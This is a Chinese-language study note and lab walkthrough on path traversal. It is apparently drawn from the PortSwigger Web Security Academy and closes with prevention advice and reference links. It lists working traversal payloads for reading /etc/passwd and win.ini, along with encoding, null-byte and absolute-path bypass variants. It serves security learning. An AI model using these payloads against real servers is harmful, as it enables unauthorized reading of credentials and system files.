### 什么是路径遍历
路径遍历也称为目录遍历。这些漏洞使攻击者能够读取正在运行应用程序的服务器上的任意文件。这可能包括:
应用程序代码和数据。
后端系统的凭据。
敏感的操作系统文件。
###
<img src="/loadImage?filename=218.png">
### linux系统:
https://insecure-website.com/loadImage?filename=../../../etc/passwd
### windows系统:
### 注意:在 Windows 上, 和../都是..\有效的目录遍历序列
https://insecure-website.com/loadImage?filename=..\..\..\windows\win.ini
Lab: File path traversal, simple case
读取:/etc/passwd
进入靶场,点击功能,查看前端代码等,使用burp查看代理历史流量包:
将数据包发到repeater:
修改GET url:/image?filename=54.jpg
修改filename值:filename=…/…/…/…/…/etc/passwd
发现存在文件包含漏洞:
https://portswigger.net/web-security/file-path-traversal/lab-absolute-path-bypass
在web程序使用删除等操作防护路径遍历是,可以使用绝对路径绕过
https://portswigger.net/web-security/file-path-traversal/lab-sequences-stripped-non-recursively
## payload:
....//或....\/
....//....//....//etc/passwd
在某些情况下,例如在 URL 路径或filename请求的参数中multipart/form-data,Web 服务器可能会在将输入传递给应用程序之前删除任何目录遍历序列。有时,您可以通过对字符进行 URL 编码,甚至双重 URL 编码来绕过这种清理../。这分别导致%2e%2e%2f和%252e%252e%252f。各种非标准编码,例如..%c0%af或..%ef%bc%8f,也可能有效。
## payload
../
%2e%2e%2f
%252e%252e%252f
## ../../etc/passwd
..%252f..%252f..%252fetc/passwd
## 官方fuzz payload:
对于Burp Suite Professional用户,Burp Intruder 提供了预定义的负载Fuzzing - path traversal。这包含一些您可以尝试的编码路径遍历序列。
应用程序可能需要用户提供的文件名以预期的基本文件夹开头,例如/var/www/images. 在这种情况下,可能可以包含所需的基本文件夹,后跟适当的遍历序列。例如:基本文件路径开头:/var/www/images/
## payload:
filename=/var/www/images/../../../etc/passwd
应用程序可能需要用户提供的文件名以预期的文件扩展名结尾,例如.png. 在这种情况下,可以使用空字节在所需扩展名之前有效地终止文件路径。例如:
## payload:
filename=../../../etc/passwd%00.png
防止路径遍历漏洞的最有效方法是完全避免将用户提供的输入传递给文件系统 API。许多执行此操作的应用程序功能都可以重写,以更安全的方式提供相同的行为。
## PayloadsAllTheThings
## 路径遍历:
https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Directory%20Traversal
## 文件包含:
https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/File%20Inclusion
## OWASP测试路径遍历:
https://owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/05-Authorization_Testing/01-Testing_Directory_Traversal_File_Include